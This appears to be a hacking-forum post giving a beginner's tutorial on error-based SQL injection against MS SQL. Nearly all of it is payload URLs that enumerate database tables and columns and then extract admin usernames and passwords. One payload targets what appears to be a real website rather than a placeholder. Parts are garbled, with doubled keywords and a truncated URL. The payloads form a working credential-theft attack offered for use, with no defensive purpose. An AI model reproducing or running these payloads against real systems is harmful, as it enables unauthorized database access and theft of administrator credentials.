[Kaveman]

Sup HC? here is the tut OF SQLi Injection



Now Start

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables))

Name Of table

Code:

http://www.example.com/subcategor.id=cat2' and and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster')))

3 table
http://www.example.com/subcategor.id=cat2' and and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory')))



3 table

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory','tbl_prodNEXT table

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster'))

Code:

http://www.paramparaindia.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory','tbl_productlist')))

add the table name



now table is "TBL_ADMINMASTER"

FINDING COLUMN OF TABLE tbl_adminmaster

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster'))

1 COLUMN

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster' and column_name not in (select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster')))

NEXT COLUMN

Code:

http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster' and column_name not in (select top 2 column_name from information_schema.columns where table_name='tbl_adminmaster')))

NOW YOU KNOW THE METHOD HOW TO FIND COLUMN LIKE THAT

username:password

so next we see how to get data from it..

username data:

Code:

http://www.example.com/subcategor.id=cat2' and%201=convert(int,(select%20top%201%20username%20from%20tbl_adminmaster))--%20-

password

Code:

http://www.example.com/subcategor.id=cat2'%20and%201=convert(int,(select%20top%201%20password%20from%E2%80%8B%20tbl_adminmaster))--%20-

IF YOU LIKE REP+

[Kaveman]

read this tutorial for begin http://www.hackcommunity.com/Thread-My-S...e-tutorial